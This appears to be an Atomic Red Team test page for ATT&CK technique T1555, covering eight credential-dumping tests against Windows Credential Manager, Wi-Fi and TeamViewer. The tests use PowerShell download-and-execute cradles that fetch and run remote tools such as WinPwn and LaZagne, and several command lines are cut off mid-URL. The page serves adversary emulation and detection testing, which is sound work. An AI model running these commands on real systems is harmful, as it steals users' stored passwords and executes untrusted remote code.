T1555 - Credentials from Password Stores

Description from ATT&CK

> Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

Atomic Tests

- Atomic Test #1 - Extract Windows Credential Manager via VBA
- Atomic Test #2 - Dump credentials from Windows Credential Manager With PowerShell [windows Credentials]
- Atomic Test #3 - Dump credentials from Windows Credential Manager With PowerShell [web Credentials]

- Atomic Test #4 - Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials]
- Atomic Test #5 - Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials]
- Atomic Test #6 - WinPwn - Loot local Credentials - lazagne
- Atomic Test #7 - WinPwn - Loot local Credentials - Wifi Credentials
- Atomic Test #8 - WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords

Atomic Test #1 - Extract Windows Credential Manager via VBA

This module will extract the credentials found within the Windows credential manager and dump them to $env:TEMP\windows-credentials.txt

Supported Platforms: Windows

auto_generated_guid: 234f9b7c-b53d-4f32-897b-b880a6c9ea7b

Attack Commands: Run with `powershell`!

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ato
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1555\src\T1555-macrocode.txt" -offi
```

Cleanup Commands:

```
Remove-Item "$env:TEMP\windows-credentials.txt" -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: Microsoft Word must be installed

Check Prereq Commands:

```
try {
  New-Object -COMObject "word.Application" | Out-Null
  $process = "winword"
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
```

Get Prereq Commands:

```
Write-Host "You will need to install Microsoft Word manually to meet this requirem
```

Atomic Test #2 - Dump credentials from Windows Credential Manager With PowerShell [windows Credentials]

This module will extract the credentials from Windows Credential Manager

Supported Platforms: Windows

auto_generated_guid: c89becbe-1758-4e7d-a0f4-97d2188a23e3

Attack Commands: Run with `powershell`!

```
IEX (IWR 'https://raw.githubusercontent.com/skar4444/Windows-Credential-Manager/4a
```

Atomic Test #3 - Dump credentials from Windows Credential Manager With PowerShell [web Credentials]

This module will extract the credentials from Windows Credential Manager

Supported Platforms: Windows

auto_generated_guid: 8fd5a296-6772-4766-9991-ff4e92af7240

Attack Commands: Run with `powershell`!

```
IEX (IWR 'https://raw.githubusercontent.com/skar4444/Windows-Credential-Manager/4a
```

Atomic Test #4 - Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials]

This module will enumerate credentials stored in Windows Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe

Supported Platforms: Windows

auto_generated_guid: 36753ded-e5c4-4eb5-bc3c-e8fba236878d

Attack Commands: Run with `powershell`!

```
vaultcmd /listcreds:"Windows Credentials" /all
```

Atomic Test #5 - Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials]

This module will enumerate credentials stored in Web Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe

Supported Platforms: Windows

auto_generated_guid: bc071188-459f-44d5-901a-f8f2625b2d2e

Attack Commands: Run with `powershell`!

```
vaultcmd /listcreds:"Web Credentials" /all
```

Atomic Test #6 - WinPwn - Loot local Credentials - lazagne

The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software

Supported Platforms: Windows

auto_generated_guid: 079ee2e9-6f16-47ca-a635-14efcd994118

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
lazagnemodule -consoleoutput -noninteractive
```

Atomic Test #7 - WinPwn - Loot local Credentials - Wifi Credentials

Loot local Credentials - Wifi Credentials technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: afe369c2-b42e-447f-98a3-fb1f4e2b8552

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
```

```
wificreds -consoleoutput -noninteractive
```

Atomic Test #8 - WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords

Loot local Credentials - Decrypt Teamviewer Passwords technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: db965264-3117-4bad-b7b7-2523b7856b92

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
decryptteamviewer -consoleoutput -noninteractive
```